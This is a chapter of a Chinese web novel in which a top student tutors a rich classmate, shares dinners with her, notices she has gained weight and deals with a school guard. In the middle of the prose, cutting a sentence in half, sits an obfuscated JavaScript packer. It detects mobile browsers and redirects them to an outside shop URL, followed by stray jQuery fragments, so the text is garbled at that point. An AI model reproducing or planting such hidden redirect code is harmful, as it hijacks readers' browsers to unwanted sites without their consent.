徐秋意从没觉得做同学家教收取费用是被大小姐们用钱砸,她只觉得这件事付出了劳动有成果非常正常。
这件事她也做得很尽心,答应下的当晚她就花了一定的时间了解三人的水平。
结果能用惨不忍睹来形容,通过重重衡量,她仍决定答应这件事。
而陶宁也有模有样地拿了一份合同给她签,十分正经。
陶宁说:“那你我之间就算师生关系了吧,要是有人说闲话你拿合同打他,打不过就叫我,我有廖诗诗。”
徐秋意被她说得好笑:“廖诗诗是谁?”
陶宁用手比划了一下:“我的保镖,一个身高一米八热爱烫头美黑的泰拳冠军大姐姐。”
顺着她的话徐秋意想象了一下画面:“……这名字不错。”
陶宁用道友所见略同的赞赏目光看她,诚恳点头:“我也觉得她这名字特别的诗情画意,有一种丛林里穿迷彩服的效果。”
当天下午放学,徐秋意看见了传闻中的廖诗诗,第一眼她就觉得陶宁真是个比喻鬼才。
跟普高有很大的区别,明睿中学没有晚自修,下午五点放学后的时间都由学生自主安排,大部分学子都会在这个时间段请家教一对一辅导。
饶是如此,依然没能考得过全校第一徐秋意,那个最顶尖的位置她待了几乎三年。
陶宁没让徐秋意去她家辅导连累她来回奔波,而是选在了靠近小安村附近租自习室,那位置离她家近,自行车一蹬不过是三分钟的事情。
而且附近也热闹,不会因为晚归增加不安全因素。
起初徐秋意只以为这不过是大小姐为了讨妈妈欢心忽然开始认真学习了,这样的人她见过不少,大部分都因为迟迟难以取得成果就放弃了。
学习是一件不进则退的事情,它像建房子,前期需要打地基,然后浇筑,架钢筋,像是丰富骨血一样将外部建好,在这一阶段都会进步很大,好像几天就卓有成效。
而到后期,将进入瓶颈期,如装修一般对各种方案踌躇不定,每一样家具的选择都需要思量,为了漂亮符合心意的房子,光是刷漆都要数度调色,有可能砸了不少心思下去也难以见到什么明显的增色。
使人抓狂,想放弃,然后成绩回落,更加摆烂。
就好比如金月和吕心溪两个人,她们的心根本不在这,纯粹陪太子读书心境。
好处就是她们能找个角落自己玩,也不会因为徐秋意的严格而露出不耐烦的情态,更不会因为朋友进入状态而打破陶宁现有状态。
这种健康的友谊方式让徐秋意一度以为她在做梦,但她觉得更有意思的是陶宁这人。
天生一张漫不经心的脸,闲散状态经常喜欢把自己摊开放空,像大号咸鱼开启省电模式。
沉下心后做事犹外认真,常常把徐秋意带动地更加专心,偶尔也会去思考,倒使自己的知识更加扎实。
这越来越让徐秋意觉得陶宁像是润物细无声的雨。
而今晚,那润物细无声的雨又给她塞东西了。
陶宁切着橙子,招呼从家里过来的徐秋意:“徐老师请坐,吃完饭了吗?我猜你也没吃,一块吃点,然后再就点橙子去去味。”
三言两语陶宁就又把她今晚的晚餐安排得妥妥当当。
刚开始徐秋意是接受不能的,结果大小姐一拍桌子豪迈道:“我陶家的员工都是包吃的,总不能让我的家教老师成了漏网之鱼,今天是鸽子炖不知道什么参汤,吃!”
她还说:“你看起来太瘦了,身高165还不到八十斤,都营养不良了。”
徐秋意试图解释:“其实我吃东西不太吸收……”
陶宁竖起一根手指:“嘘,小徐老师请吃饭。”
“……”徐秋意在大小姐的“压迫”下,只好从了。
“我切得真漂亮。”陶宁端起橙子往桌边走,补充道:“今晚上金月陪心溪去男神应援了,只有我在。”
两人便坐下吃饭,陶宁家请的阿姨手艺很不错,是根据正在长身体的高三学生定制的菜谱。
吃完后,徐秋意还是不太好意思说:“要不伙食费从我工资里扣吧?”
她觉得就算陶家给员工包吃,也不至于用上专业营养师定制菜谱,以及明显很高级的食材。
陶宁假装听不见这句话:“吃橙子,等会就要开始了,今天补的是化学吧,你的强项。”
这不过是相对而言,徐秋意压根没有弱点,文理皆强。
不愧是被关海岛别墅里都能靠厨房手配出王水的女人,恐怖如斯。
那一冲,冲垮了整个家族。
徐秋意接过那一瓣橙子,心不在焉之下手直接碰上了陶宁的手指,指尖互相摩挲,她忽然问:“你对别人也这样吗?”
沉浸在记忆里没听清她说什么,陶宁抬眸:“什么?”
徐秋意放下橙子,素白的手按在桌面上缓缓靠近陶宁,纤瘦手背随着力道凸起青筋,目光深沉:“我是说,如果你聘请了其他家教,你也会这样对她吗?”
陶宁搞出这一遭就是为了让徐秋意平稳度过最后一年,再造辉煌也行,等她搞垮的南宫家,再把南宫云飞送到永远无法碰到徐秋意的地方,那就任务完成,她又能继续下一个任务了。
她相信,徐秋意这样坚韧的女子仅凭自己也能闯出一番天地,她做的不过是年少时的雪中送炭。
所以想都没想,陶宁理所当然道:“当然不会。”
听到这个答案后,徐秋意朝她露出一个笑,跟以往的都很不一样,如冰雪消融,菡萏花开。
毫无质疑的,徐秋意是漂亮的,但她第一次漂亮得有攻击性。
又是一日学习过去,各自归家。
第二天起床,徐秋意掀开被子越过熟睡的妹妹起床,轻手轻脚地在帘子后穿校服准备上学。
换下睡裤,穿上裙子,细长手指拎着裙头往上提,也不知道是不是错觉,她总感觉最近提裙子会有种微妙的阻力。
疑惑着自己是不是又长身高了的徐秋意扣上扣子,终于意识到哪里不对了。
学校的裙子用料厚实,腰围不是松紧的,对腰围的范围有一定要求,改大改小都有点困难。
所以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11516416|122208||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,今天的徐秋意在空腹状态需要吸一口气才能扣上固定好的搭扣。
徐秋意疑惑低头:“……嗯?”我胖了?
意识到这个可能性的徐秋意当时瞳孔地震。
我,胖了?胖了???
几分钟后,调大了搭扣的徐秋意带着怀疑人生的表情走出房间。
“难道我最近吃太好了?”徐秋意嘀咕道,手捏捏胳膊又捏捏脸,好像是比之前多了点肉感。
门外,关若琳夜班刚回来,她开门进来,徐秋意开房间门出去,两人在客厅相遇,互相看了看。
关若琳满脸疲惫,她手上拎着包说:“上学啊,路上注意安全,记得买早餐去学校吃。”
徐秋意嗯了一声,把书包背上,坐在门口换鞋。
许久后,关若琳看着徐秋意站起来的背影说:“秋意,你是不是胖了点?”气色看起来好了不少。
正准备开门出去的徐秋意身影很明显的晃了晃:“……”
抵达学校后,徐秋意照例把自行车放进角落里,绝对不会挨到谁的位置,这是她跟学校申请过的。
“小妹你可以放出来一点的,那个位置不好进出。”身后传来了说话的声音,徐秋意充耳不闻,还是放回了原位。
然后回头,徐秋意说:“之前你不是说过不能超过那一条线吗?”
那穿着齐整保安服的大爷端着保温杯,一副很好说话的样子:“看你天天搬来搬去麻烦,你可以放出来点,我会帮你看着。”
帮你看着?这话就有意思了。
徐秋意掏钱修车胎都不知道多少次了,校内停车场保安室就对着这一片,该扎穿还是扎穿,有时候链条都被人剪掉了。
高一那会她还天真,想调监控被拒绝,现在说帮忙看着?
徐秋意懒得接收这不明不白的好意:“我已经放好了,习惯这样子放不会不方便。”
鼻子朝天习惯的保安大爷难得卖好没被领情,也不生气,他嘿嘿笑了笑说:“听说你最近给陶家的千金补课啊,你还挺厉害。”
徐秋意这才正眼看他,心中闪过了然。
这人曾经端坐保安室里骂过她说不要以为成绩好就了不起,以后最多是嫁个好人家的命,又不是第一天知道她成绩好,原来是在这。
但徐秋意只是本性寡言,不是真不通人情,比谁都更早明白不得罪小人的道理。
于是她嗯了一声,走出停车场上课去了。
徐秋意做家教这事没刻意瞒着,两人在学校里陶宁经常遇到不会的抄起本子就问,一来二去的知道的人就不少了。
消息也就这么传进了南宫云飞的耳里,他于走廊拐角拦住了陶宁,英俊的脸庞满是愤怒。
南宫云飞说:“我有事找你,你跟我来。”
于几日前,南宫云飞就回到了学校,风头比以往更盛,但避开了陶宁。
他认为那件事情丢脸,根本不可能提,陶宁乐得清闲,也对他视而不见,结果还是放心太早,现在就着急跳出来了。
陶宁眼皮一抬:“没空,让让。”不然廖诗诗随时为她服务。